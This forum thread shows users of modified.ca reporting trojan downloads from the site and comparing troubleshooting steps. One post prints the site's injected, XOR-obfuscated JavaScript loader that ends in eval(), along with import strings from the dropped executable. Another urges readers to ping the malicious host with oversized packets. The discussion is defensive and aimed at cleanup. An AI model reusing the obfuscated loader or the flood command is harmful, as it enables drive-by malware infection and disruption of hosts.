Modified infected by trojans?

[HackingGanesh]

I'm on mozilla, how do i turn off javascripts cameron? Do i even need to worry about it?

[FlexThis]

[Tsiangkun]

Yeah, I"m not sure what this is , an exe with these strings
KERNEL32.DLL
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
ExitProcess
GetModuleHandleA
WS2_32.dll
WININET.dll
MSVCRT.dll
USER32.dll
ADVAPI32.dll
SHELL32.dll
OLEAUT32.dll
iInternetCloseHandle
_controlfp
FindWindowA
OpenProcessToken
ShellExecuteA

seems to be windows specific, but we already knew that.

Code: Select all

<script>
x=68;
es="32;42;37;50;37;44;36;63;98;58;60;38;36;52;122;38;58;48;37;52;57;41;63;115;123;120;43;111;80;82;33;70;17;85;86;81;46;
76;31;91;92;91;92;74;5;65;66;69;53;80;3;71;72;79;79;94;9;77;78;73;179;164;247;179;180;178;178;162;253;185;186;185;188;16
8;251;191;160;167;166;182;225;165;166;161;169;188;239;171;172;170;170;186;213;145;146;149;149;128;211;151;152;154;238;14
2;217;157;158;157;130;148;199;131;132;131;242;146;205;137;138;140;143;152;203;143;240;243;134;230;177;245;246;241;241;23
6;191;251;252;250;250;234;165;225;226;228;231;240;163;231;232;234;155;254;169;237;238;233;164;196;151;211;212;211;222;19
4;157;217;218;220;216;200;155;223;192;199;182;214;129;197;198;193;187;220;143;203;204;206;191;218;373;305;306;309;306;28
8;371;311;312;319;307;302;377;317;318;313;339;308;359;291;292;291;291;306;365;297;298;296;349;312;363;303;272;275;356;26
2;337;277;278;277;366;268;351;283;284;281;285;266;325;257;258;256;373;272;323;263;264;268;377;286;329;269;270;266;259;35
6;311;371;372;369;258;354;317;377;378;383;381;360;315;383;352;357;363;374;289;357;358;355;285;380;303;363;364;367;283;37
8;277;337;338;343;288;320;275;343;344;349;338;334;281;349;350;346;324;340;263;323;324;327;327;338;269;329;330;333;324;34
4;267;335;432;438;438;422;497;437;438;432;444;428;511;443;444;442;446;426;485;417;418;416;469;432;483;423;424;427;476;44
6;489;429;430;429;486;388;471;403;404;402;401;386;477;409;410;412;411;392;475;415;384;390;389;406;449;389;390;389;509;41
2;463;395;396;395;506;410;437;497;498;500;509;480;435;503;504;511;505;494;441;509;510;505;481;500;423;483;484;482;485;49
8;429;489;490;493;484;504;427;495;464;470;466;454;401;469;470;465;473;460;415;475;476;474;471;458;389;449;450;449;433;46
4;387;455;456;463;444;478;393;461;462;456;562;548;631;563;564;563;561;546;637;569;570;569;586;552;635;575;544;547;596;56
6;609;549;550;545;605;572;623;555;556;555;555;570;597;529;530;532;534;512;595;535;536;543;620;526;601;541;542;541;629;53
2;583;515;516;515;517;530;589;521;522;525;516;536;587;527;624;631;518;614;561;629;630;628;521;620;575;635;636;638;527;61
8;549;609;610;609;530;624;547;615;616;623;543;638;553;621;622;617;597;580;535;595;596;594;596;578;541;601;602;605;554;58
4;539;607;576;579;567;598;513;581;582;577;576;604;527;587;588;586;586;602;757;689;690;693;704;672;755;695;696;703;713;68
6;761;701;702;701;674;692;743;675;676;679;678;690;749;681;682;684;680;696;747;687;656;662;667;646;721;661;662;656;664;65
2;735;667;668;667;667;650;709;641;642;640;752;656;707;647;648;651;648;670;713;653;654;648;756;740;695;755;756;755;755;73
8;701;761;762;764;756;744;699;767;736;742;742;758;673;741;742;741;670;764;687;747;748;746;742;762;661;721;722;721;672;70
4;659;727;728;734;729;718;665;733;734;729;707;724;647;707;708;706;708;722;653;713;714;717;709;728;651;719;816;822;818;80
6;881;821;822;816;828;812;895;827;828;827;845;810;869;801;802;805;801;816;867;807;808;814;814;830;873;813;814;813;786;77
2;855;787;788;790;867;770;861;793;794;792;879;776;859;799;768;771;884;790;833;773;774;769;894;796;847;779;780;779;780;79
4;821;881;882;885;773;864;819;887;888;895;895;878;825;893;894;889;867;884;807;867;868;866;866;882;813;873;874;872;793;89
0;887;886;859;773;781;768;785;776;771;777;796;839;777;775;771;798;779;839;857;842;";
var ds=new String();
ads=es.split(";");
k=ads.length-1;
for(var j=0;j<k;j++)
{e=ads[j];d=e^x;x+=1;ds=ds+String.fromCharCode(d);}eval(ds)
</script>

[Tsiangkun]

It doesn't appear that turning java script of java off helps any . . . I'm confused.

They seem to have updated the site today, now the damn exe is downloading on my mac and It's really annoying.

[Tsiangkun]

I put the sites into my hosts file . . . and still got the download.

I turned off java and javascript . . . and I still get the str.exe file

I turned off popup windows, and I don't get the file . . .

[FlexThis]

[Tsiangkun]

and all together now . . .

ping -s 5000 howtoloseweight.frsa.com

[King Monkey]

Theres another one of those little square things up in the modified.ca heading at the top of the forum. Dont know if that helps any.

[habitat]

Tsiangkun for admin!

[delakong]

Tsiangkun for admin!

I second that!!!

[Anz]

Now I get a runtime error on every page exept the forum index where a trojan still hounts me. Does that error have something to do with the viruses?
I didn't really understand what Cameron explained there... How can this problem be handeled with Internet Explorer?

[wolfpac444]

I took care of the mycashpay.org stuff. It shouldn't bother you anymore.

[Moxie]

Yay Mike!!!

______________
Emily Kulczyk

"Remove ambiguities and convert to specifics."

[Anz]

I don't get any virus stuff either anymore!!
Hurray! Well done Mike!

[DoctorJay]

I still got those messages - last time my antivir deleted 96 files - what is up with this site ?

Can anyone help me ?

[professor]

The only problem I've had with modified lately is I'll try and get to the website and it will say fatal error at the top of a blank screen. Then about 5 minutes later it will go away. No trojans or anything though.